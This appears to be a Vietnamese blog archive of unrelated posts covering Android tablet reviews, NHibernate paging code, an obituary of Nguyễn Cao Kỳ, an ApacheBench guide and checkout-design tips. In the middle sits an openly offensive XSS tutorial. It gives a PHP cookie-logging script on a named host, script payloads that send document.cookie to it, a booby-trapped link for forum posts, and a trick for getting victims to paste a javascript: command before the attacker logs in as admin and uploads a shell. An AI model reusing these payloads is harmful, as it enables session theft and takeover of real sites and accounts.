Người thấp nhất thế giới Filipino


image001

image004

image009

image011

Những máy tính bảng Android tốt nhất


Một trong những ưu điểm để máy tính bảng Android vượt qua iPad là phần cứng độc lập, người dùng có thể truy cập hệ điều hành thông qua nhiều máy tính bảng khác nhau.

Kể từ khi hệ điều hành tối ưu cho máy tính bảng Android 3.1 (Honeycomb) ra mắt hồi đầu năm 2011, người tiêu dùng đã có những lựa chọn thay thế iPad đa dạng hơn. Máy tính bảng chạy Android mang lại trải nghiệm khá tốt, nhưng rắc rối lớn nhất là nền tảng này thiếu trầm trọng các ứng dụng từ bên thứ 3. Dù đã ra mắt vài tháng, hiện tại lượng ứng dụng Android cho máy tính bảng chỉ khoảng mức 250, trong khi App Store của Apple đưa ra tới hơn 90.000 lựa chọn. Thậm chí HP TouchPad, mới xuất hiện đầu tháng 7, cũng đã có nhiều ứng dụng hơn các máy tính bảng Honeycomb.

Tuy nhiên, bản thân hệ điều hành rất vững chãi. Với gốc rễ của Google, đây là hệ điều hành máy tính bảng có cấu hình tốt nhất, đa tác vụ với hệ thống thông báo xuất sắc, tích hợp các dịch vụ Google như Gmail, Google Chat, Google Maps. Ngoài ra, các thiết bị này còn hỗ trợ cả video Flash.

Dưới đây là những máy tính bảng chạy hệ điều hành Honeycomb xuất sắc nhất.

1. Acer Iconia Tab A500 (449 USD, 16GB, Wi-Fi)

ImageView1

Ưu điểm: Giá dễ chịu. Bộ xử lí 2 nhân Zippy Tegra 2. Màn hình phân giải cao. Giao tiếp USB, HDMI. Các ứng dụng giải trí chuyên biệt và tính năng tốt.

Nhược điểm: Khá lớn và nặng. Không có kết nối 3G hay 4G. Máy ảnh trước không ở vị trí tối ưu. Honeycomb vẫn chưa hoàn thiện.

Kết luận: Iconia Tab A500 có những điểm mạnh tương tự và yếu riêng so với các đối thủ trực tiếp, nhưng mức giá 449 USD (~9.163.000 đ) dễ chịu hơn so với những mẫu máy khác.

2. Asus Eee Pad Transformer TF101 (399 USD/ bản 16GB, Wi-Fi và 499 USD/bản 32GB, Wi-Fi)

ImageView2

Ưu điểm: Máy tính bảng Honeycomb có giá phải chăng nhất. Bộ xử lí 2 nhân Speedy Nvidia Tegra 2. Các tính năng đa tác vụ, email, thông báo lịch mạnh mẽ. Cổng xuất HDMI. Bàn phím rời 150 USD khi được kết nối sẽ biến Eee Pad thành máy tính xách tay hoàn chỉnh.

Nhược điểm: Giao diện rối mắt. Bàn phím ảo gõ kí tự không tốt lắm.

Kết luận: Asus Eee Pad Transformer TF101 phân biệt với các thiết bị Honeycomb khác nhờ giá cạnh trnah và phụ kiện tùy chọn biến nó thành máy tính xách tay mạnh mẽ.

3. Motorola Xoom (499 USD/bản 32GB, Wi-Fi; 599 USD/bản 32GB, Wi-Fi + 3G; 799 USD/ bản 32GB, Wi-Fi + 3G, không hợp đồng)

ImageView3

Ưu điểm: Là thiết bị đầu tiên được hỗ trợ hệ điều hành Honeycomb Flash chuyên dụng cho máy tính bảng. Xử lí nhanh. Màn hình cảm ứng nhạy và đẹp. Cổng giao tiếp HDMI với máy tính/ti-vi.

Nhược điểm: Giao diện có vẻ hơi rắc rối. Không có khe cắm thẻ SD như hứa hẹn. Kho ứng dụng Android Market còn khá ít.

Kết luận: Motorola Xoom cung cấp bởi nhà mạng Verizon Wireless là mẫu máy tính bảng khá hoàn thiện với hỗ trợ Flash, nhưng tại thời điểm này không thể so sánh với iPad 2 của Apple về kho ứng dụng.

4. Samsung Galaxy Tab 10.1 (499,99 USD/ bản 16 GB, Wi-Fi; 599, 99 USD/ bản 32GB, Wi-Fi)

ImageView5

Ưu điểm: Máy tính bảng mỏng nhất hiện nay. Màn hình HD 10.1-inch siêu nét. Hệ điều hành Honeycomb 3.1 cải thiện tính năng đa tác vụ, hỗ trợ Flash, trải nghiệm người dùng khá tốt. Đi kèm tai nghe – khá hiếm gặp với các máy tính bảng.

Nhược điểm: Samsung dự định tùy chỉnh hệ điều hành, có thể giảm tốc độ cập nhật trên Android trong tương lai. Kho ứng dụng còn khiêm tốn. Xem video trực tuyến chập chờn ngay cả với tín hiệu Wi-Fi mạnh.

Kết luận: Cho tới khi Samsung tung ra giao diện người dùng đã tùy chỉnh, chúng ta mới thực sự biết sẽ nhận được gì.

5. T-Mobile G-Slate với Google (LG) (599 USD/ bản 32GB, Wi-Fi + 3G)

ImageView6

Ưu điểm: Máy tính bảng kết nối 4G đầu tiên. Bộ xử lí Tegra 2. Màn hình HD sắc nét, cổng xuất HD. Hiển thị 3D (kính 3D đi kèm). Mức giá dễ chịu với bộ nhớ 32GB. Giao diện người dùng trực quan. 2 máy ảnh trước, sau. Video chat.

Nhược điểm: Màn hình mặc định của Honeycomb có vẻ hơi lộn xộn. Bản Flash 10.2 thử nghiệm còn nhiều lỗi nhỏ. Máy ảnh phía trước không trực diện người dùng. Thỉnh thoảng tự khởi động khi máy ở chế độ Idle. Kho ứng dụng “hẻo”.

Kết luận: Nhắm tới khách hàng Motorola Xoom: T-Mobile G-Slate với Google (LG) với thiết kế nhỏ gọn hơn và tính năng hiển thị 3D.

6. Toshiba Thrive (429,99 USD/ bản 8GB, Wi-Fi; 479,99 USD/ bản 16GB, Wi-Fi; 579,99USD/ bản 32GB, Wi-Fi)

ImageView7

Ưu điểm: Tích hợp cổng USB, mini-USB, HDMI, khe đọc thẻ nhớ SDXC. Pin có thể tháo rời để thay thế. Hệ điều hành Honeycomb thiết kế khá đẹp mắt, đa tác vụ tốt.

Nhược điểm: Kích thước khá cồng kềnh. Giá “chát”.

Kết luận: Với các cổng giao tiếp đầy đủ và pin di động, Toshiba Thrive phù hợp với giới doanh nhân nhất trong số các máy tính bảng Honeycomb. Nhưng trong một thế giới mà kích thước mảnh dẻ là rất quan trọng, vẻ ngoài cồng kềnh sẽ làm mất điểm Thrive.

Phân trang trong Nhibernate


Đây là lớp giúp phân trang trong Nhibernate với Lớp T

public abstract class Paging<T>
   {
      public IList<T> GetPagedData(int page, int pageSize, out long count, Order oder, params ICriterion[] criterion)
      {
          IMultiCriteria multiCriteria  = NHibernateHelper.CurrentSession.CreateMultiCriteria();
          ICriteria criteria1 = NHibernateHelper.CurrentSession.CreateCriteria(typeof(T));
          ICriteria criteria2 =
              NHibernateHelper.CurrentSession.CreateCriteria(typeof (T));//.SetProjection(Projections.RowCountInt64());
          foreach (var item in criterion)
          {
              criteria1.Add(item);
              criteria2.Add(item);
          }
          criteria2.SetProjection(Projections.RowCountInt64());
          criteria1.AddOrder(oder);         
          multiCriteria.Add(criteria1);
          multiCriteria.Add(criteria2);
         // page = page > 0 ? page : 1;
          criteria1.SetFirstResult(page * pageSize).SetMaxResults(pageSize);          
          IList result = multiCriteria.List();
          IList<T> all = (from object o in (IList) result[0] select (T) o).ToList();
          count = (long)((IList)result[1])[0];
          return all;
      }
   }

Lớp NHibernateHelper

public sealed  class NHibernateHelper
    {
      private static ISessionFactory factory = null;
      static NHibernateHelper()
        {
            Configuration cfg = new Configuration();
            cfg.Configure();
            factory = cfg.BuildSessionFactory();
        }

        public static ISession CurrentSession
        {
            get
            {
                if(factory==null)
                {
                    var configuration = new Configuration();
                    configuration.Configure();
                    factory = configuration.BuildSessionFactory();
                }
                return factory.OpenSession();
            }
        }
        public static void CloseSession()
        {
            factory.Close();
        }
    }

Chú ý : đối với hệ quản trị Mysql không hỗ trợ MultiCriteria ta có thể viết lại lớp Paging như sau :

public abstract class Paging<T>
   {

    public IList<T> GetPagedData(int page, int pageSize, out long count, Order oder, params ICriterion[] criterion)
        {
           // IMultiCriteria multiCriteria = NHibernateHelper.CurrentSession.CreateMultiCriteria();
            ICriteria criteria1 = NHibernateHelper.CurrentSession.CreateCriteria(typeof(T));
            ICriteria criteria2 =
                NHibernateHelper.CurrentSession.CreateCriteria(typeof(T));//.SetProjection(Projections.RowCountInt64());
            foreach (var item in criterion)
            {
                criteria1.Add(item);
                criteria2.Add(item);
            }
            criteria2.SetProjection(Projections.RowCountInt64());
            criteria1.AddOrder(oder);
           // multiCriteria.Add(criteria1);
           // multiCriteria.Add(criteria2);
            criteria1.SetFirstResult(page * pageSize).SetMaxResults(pageSize);
            count = long.Parse(criteria2.List()[0].ToString());
            return   criteria1.List<T>();
           // IList result = multiCriteria.List();
           // IList<T> all = (from object o in (IList)result[0] select (T)o).ToList();
           // count = (long)((IList)result[1])[0];
           // return all;
        }
    }

Khai thác lỗi xss thế nào?


Lỗi xss là lỗi cho phép thực thi trái phép script trái phép trên client người dùng có thể tham khảo thêm tại đây Cross Site Scripting

thường thì trước kìa tại hạ quậy phá cho phép thực thi câu lệnh

<script>

window.location=’”http:///xxxx.yyy”;

</script>

Trong đó http:///xxxx.yyy là 1 trang tươi mát nào đó Winking smile mục đích là cho admin giải trí trong những lúc mệt mỏi Open-mouthed smile

Bây giờ gặp site lổi tại hạ không dại gì làm thế nữa, vì làm thế chả làm được gì mà còn giúp nó fix bug nè, rồi giúp nó biết thêm mấy trang tươi mát của mềnh nữa Smile

Khi gặp site lỗi xss vấn đề bây giờ là lấy cookie của admin Smile, sau đó đăng nhập với vai trò là admin rồi thích làm gì thì làm :”>

để test site có lấy được cookie toàn vẹn hay không chúng ta thử test bằng cách gõ vào address câu lệnh đơn giản như sau :

javascript:alert(document.cookie);

Ví dụ mình lấy trang http://thamhue.com/forum.php chúng ta đăng nhập vào và dùng firebug để xem cookie như hình

image

chúng ta thực hiện câu lệnh trên và so sánh cookie của firebug

image

Hey ya, nó khác rồi, không khai thác được, nếu nó lỗi xss thì cho nó về trang tươi mát cho bỏ tức Sad smile

Chúng ta tìm site khác. giả sử có 1 site mô đó lỗi xss và lấy được cooki, chúng ta sẽ viết 1 script cho return về trang của mình để lưu cookie xong rồi return nó về trang nào đó tùy mình, mục đích là lấy được cooki thôi mà Sad smile

Giả sử mình có một host free php đi, chúng ta vào tạo 1 file có tên là cc.php và 1 file text có tên là cookie.txt

file cc.php

<?php
$myFile = "cookie.txt";
$fh = fopen($myFile, ‘a+’);
$bien=$_REQUEST[‘cc’].":".$_REQUEST[‘url’]."\n";
fwrite($fh,$bien);
fclose($fh);
echo("<script>window.location=’".$_REQUEST[‘url’]."’;</script>");
?>

file cooki.txt để trống và checkmod cho phép đọc&ghi Sad smile

ví dụ tại hạ đã làm và đã upload lên file có địa chỉ

http://vitinh2nd.com/cc.php

http://vitinh2nd.com/cookie.txt

Khi gặp site http://xyz.xxx lỗi xss ta tìm viết đoạn script sau :

<script>

window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

</script>

Giải thích : khi admin vào và thực thi script này thì sẽ chạy đến trang của mềnh rồi save cooki vào file cookie.txt rồi return lại trang gốc, mục đích lưu url để biết domain nào mà khai thác, thứ hai là để thằng admin nào đó gà nó tưởng site bị lỗi gì :”>

Vậy là xong, vậy sau khi lấy được cooki mình làm thế nào để đăng nhập :”>

các bạn có thể dùng addon Cookie Manager của Firefox để edit và thêm các trường của cooki sau đó F5 rồi đăng nhập Smile như hình

image

 

Kết luận : có phải xss là cách duy nhất để lấy cookie? cũng có nhiều cách ví dụ như những các sau:

ví dụ vào một trang mà có editor có cho phép sửa mã html các bạn có thể viết 1 bài dài ca ngợi linh tinh gì đó rồi chèn vào cái link dạng như vào đây xem tiếp

<a href=”#” onclick=”javascript:window.location=’http://vitinh2nd.com/cc.php?cc=’+document.cookie+’&url=http://xyz.xxx’;” >Click vào đây để xem chi tiết</a>

Nó click vào thì thực hiện câu lệnh trên Smile

Cách thứ hai dùng kỹ thuật chém gió lừa tình Smile cách này hay có thể xem tuyệt kỹ chém gió tại bài : https://tranphuochung.wordpress.com/2011/07/21/chem-gio-la-gi/

Dụ victim cái này phải chém cho hay : ví dụ như anh/chị gõ lệnh này trên trình duyệt

javascript:window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

sẽ hack được tiền hay đại loại để xem lỗi hay gì gì thế tùy vào người hót Smile

vậy lỗi xss này có thể khai thác bằng cách đăng nhập vào admin sau đó up shell lên sever rồi lấy dữ liệu của victim Smile

Cách khắc phục thì mấy bác có thể search google, trình độ em chỉ biết có thế có gì sai mấy bác đừng có chém em mà tội Sad smile

Tro cốt cựu Phó tổng thống Nguyễn Cao Kỳ sẽ được đưa về Mỹ


Hỏa táng ngày 29 Tháng Bảy tại Kuala Lumpur

KUALA LUMPUR (NV) – Tro cốt cựu Phó tổng thống Nguyễn Cao Kỳ sẽ được đưa về Mỹ, sau lễ hỏa táng được tổ chức tại Kuala Lumpur, Malaysia, theo cáo phó của gia đình công bố hôm Chủ Nhật.

HKG2004011569397

Ông Nguyễn Cao Kỳ. (Hình: Hoàng Ðình Nam/AFP/Getty Images)

ựu thiếu tướng Nguyễn Cao Kỳ, từng là tư lệnh Không Quân, thủ tướng và phó tổng thống Việt Nam Cộng Hòa, qua đời lúc 3 giờ sáng Thứ Sáu giờ địa phương, tại Kuala Lumpur, thọ 80 tuổi.

Cáo phó mang chữ ký bà quả phụ Nguyễn Cao Kỳ, nhũ danh Lê HoangKim Nicole, cùng với chị ông Kỳ, bốn người con trai, hai người con gái và các cháu. Bản cáo phó cho biết “linh cữu người quá cố hiện được quàn tại nhà quàn Nirvana Memorial Centre, Kuala Lumpur,” với chương trình tang lễ như sau:

Lễ Phát Tang: Thứ Hai, 25 tháng 7.

Ngày thăm viếng dành riêng cho gia đình: 26 tháng 7.

Ngày thăm viếng dành cho các bạn bè, thân hữu: 27 và 28 tháng 7.

Lễ Hỏa Táng: 29 Tháng 7.

Ông Nguyễn Cao Kỳ sinh năm 1930 tại Sơn Tây, nhập ngũ và qua khóa huấn luyện sĩ quan quân đội quốc gia Việt Nam ở khóa Nam Định năm 1952, rồi được tuyển đưa đi học phi công ở Marrakech, Morocco.

Sau cuộc đảo chính 1963, ông được thăng cấp thiếu tướng, giữ chức vụ Tư Lệnh Không Quân. Tướng Kỳ nắm chức vụ chủ tịch Ủy Ban Hành Pháp Trung Ương, tương đương thủ tướng, giữa năm 1965. Đến năm 1967, ông đắc cử Phó Tổng Thống trong liên danh tướng Nguyễn Văn Thiệu và phục vụ tới năm 1971.

Năm 1975, khi quân đội Bắc Việt tiến chiếm miền Nam, tướng Nguyễn Cao Kỳ rời khỏi Sài Gòn trước giờ chót bằng trực thăng ra tàu Mỹ ngoài khơi Vũng Tàu.

Năm 2004 ông loan báo trở về thăm Việt Nam, rồi tiếp theo cổ vũ và môi giới cho việc đầu tư của các công ty Hoa Kỳ vào làm ăn ở Việt Nam. Việc làm này khiến ông bị nhiều người chỉ trích là thỏa hiệp với cộng sản.

Cựu Phó Tổng thống Nguyễn Cao Kỳ có ba người vợ. Vợ thứ nhất của ông là một phụ nữ Pháp, ông lấy trong thời gian được huấn luyện phi công ở Bắc Phi. Sau cuộc đảo chính năm 1963 ông kết hôn với một nữ tiếp viên Air Vietnam, bà Đặng Tuyết Mai. Người vợ thứ ba là bà Lê HoangKim Nicole. (Đ.D.)

Nguồn : Người Việt Online

ab – công cụ để benchmark web server


ab là công cụ thường được dùng để benchmark web (HTTP) serser. Nó đo xem server của bạn có khả năng chịu được bao nhiêu request/giây. ab là viết tắt của ApacheBench, chi tiết các tham số tham khảo tại: http://httpd.apache.org/docs/2.0/programs/ab.html. Bài viết sau giới thiệu sơ cách dùng.
Thử ví dụ xem sao:

  1. Chạy web server nào đó trên máy của mình (ví dụ Tomcat, Inets)
  2. Chạy lệnh (tùy trường hợp mà đổi lại URL cho thích hợp nha): ab -c 100 -n 10000 http://localhost:8000/web_blog
    -c: số request đồng thời
    -n: số request thực hiện benchmark
  3. Kết quả được hiển thị:

C:\xampp\apache\bin>ab -c 1000 -n 10000 http://192.168.1.234/
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking 192.168.1.234 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests

Server Software:        Microsoft-IIS/6.0
Server Hostname:        192.168.1.234
Server Port:            80

Document Path:          /

Document Length:        22995 bytes

Concurrency Level:      1000
Time taken for tests:   294.844 seconds
Complete requests:      10000
Failed requests:        9990
   (Connect: 0, Receive: 0, Length: 9990, Exceptions: 0)
Write errors:           0
Total transferred:      235846521 bytes
HTML transferred:       232436521 bytes
Requests per second:    33.92 [#/sec] (mean)
Time per request:       29484.375 [ms] (mean)
Time per request:       29.484 [ms] (mean, across all concurrent requests)
Transfer rate:          781.16 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    1   3.2      0      16
Processing:  1781 28196 6415.6  25688   45453
Waiting:     1750 28190 6415.7  25672   45453
Total:       1797 28197 6415.6  25688   45453

Percentage of the requests served within a certain time (ms)
  50%  25688
  66%  25891
  75%  26063
  80%  26563
  90%  42984
  95%  45219
  98%  45297
  99%  45375
100%  45453 (longest request)

12 Cách để Thiết Kế Quy Trình Thanh Toán Hay Nhất


Mua sắm trực tuyến có thể là một việc lý tưởng. Bạn không cần phải ra khỏi nhà và bạn có thể nhanh chóng so sánh và đọc tất cả các thông tin cạnh tranh của các sản phẩm để chọn cho mình một sản phẩm tốt nhất. Nhưng, nó cũng có một chút trở ngại nếu quá trình này không được thiết kế chính xác.

Hãy cân nhắc về các đường link thanh toán, điền các form đăng ký và sau đó, thông tin về sản phẩm không có nguồn cung cấp, sẽ không được thực hiện trong ngày của bạn. Hãy dành một chút thời gian để điểu chỉnh lại quy trình thanh toán của bạn một cách chính xác hoàn thành nhanh cho kinh nghiệm người sử dụng (user expe­ri­ence) và bạn sẽ nhận được phần thưởng là khách hàng vui hơn và doanh thu tốt hơn. Dưới đây là 12 mẹo nhỏ hữu ích giúp bạn thực hiện những điều đó.

1. Đừng yêu cầu đăng ký thông tin để mua sắm

Khách hàng của bạn đang ở đây để mua sắm, chứ không phải để điền vào các mẫu đơn. Hãy chắc chắn rằng việc đăng ký được thực hiện trong suốt quá trình thanh toán và không thực hiện trước — và chắc chắn không phải trước khi truy cập vào các vị trí chuyển hàng hóa vào giỏ mua sắm của họ. Những form đăng ký là các rào cản, vì họ mất công sức và thời gian để đăng ký.

Target in 12 Tips For Designing an Excellent Checkout Process
Tar­get yêu cầu một tài khoản, nhưng chỉ nhắc nhở sau khi bạn đã sẵn sàng để thanh toán.

Bằng cách di chuyển những rào cản này xa hơn xuống một bậc, bạn đã tăng cơ hội cho khách truy cập của bạn trở thành khách hàng trả tiền. Điều này là bởi vì họ đã dành thời gian mua sắm vì lẽ đó bây giờ họ giường như không dừng lại và bỏ phí những thủ tục sơ khai này. Tuy nhiên, nếu rào cản này được đặt đúng chỗ ngay từ khi bắt đầu, họ có thể đi xa. Hãy suy nghĩ về nó như việc giữ cửa cho của hàng của bạn luôn mở để đón khách vào.

2. Thông báo cho khách hàng nếu mặt hàng có sẵn

Hãy rõ ràng về những mặt hàng sẵn có và thông báo cho khách hàng của bạn về số lượng trong kho. Nếu như một mặt hàng không có sẵn, thì đừng nên đưa khách hàng tiềm năng của bạn tốn thêm nhiều bước chỉ để họ khám phá ra rằng họ không thể mua nó ngay lập tức. Không chỉ hiển thị các mặt hàng sẵn có trên các trang về sản phẩm, mà hiển thị chúng ngay trên trang kết quả tìm kiếm.

Overclockers in 12 Tips For Designing an Excellent Checkout Process
Over­clock­ers cung cấp chính xác những thông tin chi tiết từ những trang danh sách sản phẩm.

Ngoài ra, nếu một mặt hàng hiện không có trong kho lúc này, nhưng sẽ có một vài ngày sau, thì đưa ra một lựa chọn trước để như vậy khách hàng sẽ không phải lo lắng về việc nhận nó ngay lập tức nhưng vẫn có thể có thể mua hàng.

3.Cho phép khách hàng của bạn để dễ dàng thay đổi đơn hàng

Mọi người đều mắc lỗi. Người thì đặt hàng hoá sai vào giỏ hàng của mình hoặc thay đổi lại ý định của mình. Vậy nên hãy chắc chắn rằng bạn không phản đối khách hàng tiềm năng của bạn trong quá trình thanh toán bằng cách làm những điều dễ dàng để sửa đổi.

Icondock in 12 Tips For Designing an Excellent Checkout Process
Icon­Dock chắc chắn để cung cấp những cách điều khiển đơn giản để thay đổi số lượng của một mặt hàng hay trả nó về lại.

Nếu ai đó muốn trả một mặt hàng hay các món đồ khỏi giỏ hàng của họ, thì đừng buộc họ phải nhập số tiền bằng không, thay vào đó, cung cấp một liên kết “trả lại” chính nó sẽ xóa sản phẩm đó từ giỏ hàng và đảm bảo đơn hàng sửa đổi nhanh chóng và dễ dàng.

4. Cung cấp cho người dùng với sự hỗ trợ, thời gian thực

Khi quy trình thanh toán yêu cầu dữ liệu của người sử dụng, thì rất khả năng rằng nhiều người sử dụng có thể gặp vấn đề — điều này gây ra bởi bất kỳ sự hiểu lầm hoặc một số nhu cầu riêng biệt, hay những quan tâm mà không thể dễ dàng xác định bằng cách sử dụng giao diện web đang hoạt động. Trong những tình huống này có thể là rất quan trọng để cung cấp cho người dùng với sự hỗ trợ riêng và chuyên nghiệp, thay vì gửi cho họ một đống trợ giúp hoặc các trang FAQ mà có thể không giải quyết được vấn đề vấn đề của người dùng. Và, tất nhiên, nếu người dùng không nhận được sự giúp đỡ mà họ cần và có nghi ngờ về toàn bộ điều, rất có thể họ sẽ hủy bỏ quá trình thanh toán.

Dell in 12 Tips For Designing an Excellent Checkout Process
The Dell Store cung cấp cho người sử dụng với sự hỗ trợ bằng điện thoại và nói chuyện trực tiếp bằng Chat. Nếu người dùng gặp phải vấn đề trong quá trình thanh toán, thì họ có thể yêu cầu ngay lập tức sự phục vụ và sẽ nhận được sự hỗ trợ chỉ trong vài phút. Chính người sử dụng đó sẽ thân thiện, hữu ích và có thể làm tăng tỉ lệ thay đổi của bạn.

Vì vậy đó là một ý tưởng tốt để thêm một-chat hoặc điện thoại hỗ trợ cho quá trình thanh toán. Không phải mọi công ty có thể đủ khả năng đó, nhưng các công ty trung và lớn hơn có thể muốn xem xét sự chọn lựa này, đặc biệt nếu quá trình thanh toán thì càng liên quan nhiều hơn nữa.

5. Giữ nút ‘Back’ đầy đủ chức năng

Nút quay lại là một trong những nút được sử dụng nhất trong một trình duyệt web, do đó bạn có thể chắc chắn một số người sẽ sử dụng nó trong quá trình thanh toán trên trang web của bạn. Một số trang web vô hiệu hóa các chức năng của nút ‘Back’ thông qua tự động chuyển hướng hoặc các thông báo lỗi, điều này chắc chắn sẽ ảnh hưởng tiêu cực đến khách hàng.

Ticketmaster in 12 Tips For Designing an Excellent Checkout Process
Tick­et­mas­ter sẽ từ chối khi bạn cố gắng để quay trở lại.

Không chỉ nút dẫn trở lại (Back) trang trước không nên gặp phải bất kỳ lỗi nào, bạn cũng nên lưu dữ liệu của người dùng để nó được hiển thị lại nếu đó là mẫu điền thông tin. Điều này cho phép người sử dụng có những điều chỉnh và thực hiện ngày mà không cần phải điền lại toàn bộ mẫu thông tin. Cũng có đôi lúc nó quá trễ để quay lại, giống như sau khi mình đã nhấp vào nút cuối cùng là “Hoàn thành đơn hàng “, nhưng phải bảo đảm rằng tất cả các trang khác vẫn xoay xở được với nút Back, bạn có thể cung cấp một kinh nghiệm người dùng tốt hơn cho khách hàng của bạn bằng cách tiết kiệm cho họ thời gian và thất vọng.

6. Cung cấp hình ảnh, thông số kỹ thuật và liên kết cho các danh mục trong giỏ hàng.

Khách hàng của bạn sẽ cần phải xem xét trong giỏ hàng của họ trước khi bấm vào nút cuối cùng sẽ hoàn thành đơn hàng của họ để đảm bảo họ đã thực sự có những gì khi họ vào đây.
Danh mục tiêu đề riêng lẻ không phải là cách tốt nhất giúp khách hàng của bạn nhanh chóng quét qua giỏ, vì vậy hãy chắc chắn để thêm hình ảnh và chi tiết kỹ thuật sản phẩm

— ví dụ: kích thước, màu sắc, bìa cứng hoặc bìa mềm.

Amazon Items in 12 Tips For Designing an Excellent Checkout Process
Ama­zon chỉ rõ màu sắc và chi tiết, e.g. bìa cứng/ bìa mềm, liên kết trở lại sản phẩm nhưng không thành trong việc cung cấp hình ảnh thu nhỏ. (Muốn tham khảo thì click vào link gạch dưới!!!)

Oxfam in 12 Tips For Designing an Excellent Checkout Process
Oxfam cho thấy hình ảnh thu nhỏ của mỗi sản phẩm để dễ dàng lướt qua.

Ngoài ra, bạn nên liên kết các mặt hàng này vào các trang sản phẩm của họ chỉ trong trường hợp khách hàng muốn để xác minh rằng nó thực sự là danh mục đúng.

7. Cung cấp thêm chỉ dẫn cho từng quá trình

Thanh toán thường là một quá trình nhiều bước. Điều này có nghĩa khách hàng sẽ phải đánh dấu nhiều trang trước khi đơn hàng được hoàn tất. Để làm cho quá trình này có thể sử dụng chắc chắn thì thêm vào đó một chỉ dẫn cho quá trình, nó có thể nói chính xác vào những giai đoạn của quá trình thanh toán thì khách hàng nên hay trong bao lâu để đi tiếp– tức là danh sách tất cả các bước.

Apple Progress in 12 Tips For Designing an Excellent Checkout Process
Apple trình bày một chỉ dẫn rất phù hợp trên các trang thanh toán của họ.

Biết được nơi bạn đang ở trong địa hình của những trang của quá trình sẽ cung cấp cho người dùng của bạnmột cảm giác kiểm soát, đó là quan trọng từ góc độ khả năng sử dụng. Ngoài ra, giai đoạn được biết cái gì chưa đến sẽ loại bỏ bất kỳ sự nhầm lẫn — tức là họ sẽ biết khi nào họ nhận được đến bước cuối cùng. Điều này sẽ làm cho nó dễ dàng hơn thông qua việc bấm vào để khi bạn biết bạn vẫn có thể sửa đổi hoặc hủy bỏ lệnh ở bất kỳ giai đoạn trước đó.

8. Giữ cho giao diện thanh toán đơn giản

Quá trình thanh toán khác với phần còn lại của những kinh nghiệm duyệt web trên trang web của bạn. Trong quá trình này khách hàng của bạn không được mua sắm — họ đang làm cho việc mua. Điều này có nghĩa tất cả các điều khiển trình duyệt đang dư thừa ở đây và sẽ chỉ phân tâm khách hàng của mình từ nhiệm vụ chính. Loại bỏ những yếu tố không cần thiết – v.d. các đường Link đầu vào sản phẩm, các sản phẩm hàng đầu cung cấp mới nhất và như vậy — để giữ cho giao diện đơn giản.

Dell in 12 Tips For Designing an Excellent Checkout Process
Các trang thanh toán của Dell làm mất thanh nav­i­ga­tion sản phẩm và chỉ tập trung vào quá trình thanh toán.

Cung cấp một liên kết “Trở lại mua sắm” trong trường hợp khách hàng muốn quay lại và mua thêm để một cái gì khác. Ngoài ra, đảm bảo tất cả các nút trỏ đến các bước tiếp theo trong quá trình lớn và nổi bật như vậy họ không bỏ qua

9.Đừng đặt người dùng ra ngoài quá trình thanh toán

Đó là điều cần thiết mà quá trình thanh toán không bị phá vỡ, ví dụ, đưa khách hàng đến một trang khác. Đưa người sử dụng ra khỏi quá trình này có thể gây ra hai vấn đề: 1) họ có thể bị lẫn lộn về nơi họ vào và thậm chí bị mất những trang thanh toán bằng cách đóng tab hoặc cửa sổ. 2) họ có thể bị phân tâm và không hoàn tất quá trình.

Laskys in 12 Tips For Designing an Excellent Checkout Process
Laskys trình bày những mách nhỏ giúp đỡ khi đang băn khoăn về các yếu tố nhất định để làm rõ chức năng của nó.

Để khắc phục tình trạng này, chúng tôi thực sự cần phải tìm một cách để hiển thị tất cả các thông tin cần thiết trên các trang thanh toán. Nếu bạn cần phải cung cấp một số trợ giúp hoặc thông tin không phù hợp trên trang hiện tại, sử dụng các cửa sổ đang trôi nổi, hay như là một phương sách cuối cùng, một cửa sổ pop-up để hiển thị này. Điều này cho phép bạn trình bày chất liệu mới cho người dùng mà không cần đưa họ ra quá trình thanh toán.

10. Thông báo cho người sử dụng về thời gian giao hàng

Mua sắm trực tuyến có một bất lợi lớn để mua sắm trong tiêu chuẩn của bạn ‘gạch và vữa’ .cửa hàng: bạn phải đợi để có được công cụ của bạn. Đến địa chỉ này chắc chắn để nói với khách hàng của bạn khi họ có thể mong đợi để nhận được sản phẩm của họ.

Apple Ajax in 12 Tips For Designing an Excellent Checkout Process
The AppleStore điều chỉnh cách vận chuyển với AJAX khi bạn đặt hàng.

Đây là điều cần thiết cho một vài lý do. Thứ nhất, khách hàng của bạn có thể cần phải chắc chắn có ai đó ở nhà để nhận được việc phân phối; và thứ hai, bạn sẽ một kỳ vọng nên họ sẽ không cần phải đoán. Hãy chắc chắn rằng những ngày này được thể hiện càng sớm càng tốt, tốt hơn trên các trang sản phẩm của mình, để các khách hàng tiềm năng của bạn có thể đánh giá hay không mà họ sẽ nhận được nhanh chóng mục đủ cho nhu cầu của họ.

11. Nói cho khách hàng những gì xảy ra tiếp theo

Được rồi, khách hàng của bạn đã hoàn thành đơn hàng và nhấp vào nút cuối cùng — vì vậy những gì xảy ra tiếp theo? Hoàn thành trình tự với một câu lưu ý “Cảm ơn bạn”. Điều này rất lịch sự và khách hàng của bạn chắc chắn sẽ đánh giá cao.

Amazon Thankyou in 12 Tips For Designing an Excellent Checkout Process
Ama­zon cám ơn bạn đã đặt hàng và thông báo cho bạn về các hoạt động tiếp theo.

Ngoài ra, hãy chắc chắn để nói với khách hàng của bạn những gì sẽ xảy ra tiếp theo — tức là một tin nhắn thông báo cho họ rằng họ sẽ nhận được một email xác nhận khi hàng hóa được vận chuyển. Điều này sẽ làm sáng tỏ bất kỳ sự không chắc chắn về đơn đặt hàng của họ và thiết lập một kỳ vọng chính đáng.

12. Gửi một email xác nhận

khách hàng của bạn có thể đã tìm ra và đặt thứ đơn hàng của họ, nhưng quá trình này chưa hoàn thành. Gửi một email xác nhận với các chi tiết về đơn hàng của họ và dự toán giao hàng. Các chi tiết đơn hàng sẽ rất hữu ích vì chúng sẽ cho phép khách hàng của bạn để xác minh rằng họ đã ra đặt đúng những món hàng này.

Amazon Email in 12 Tips For Designing an Excellent Checkout Process
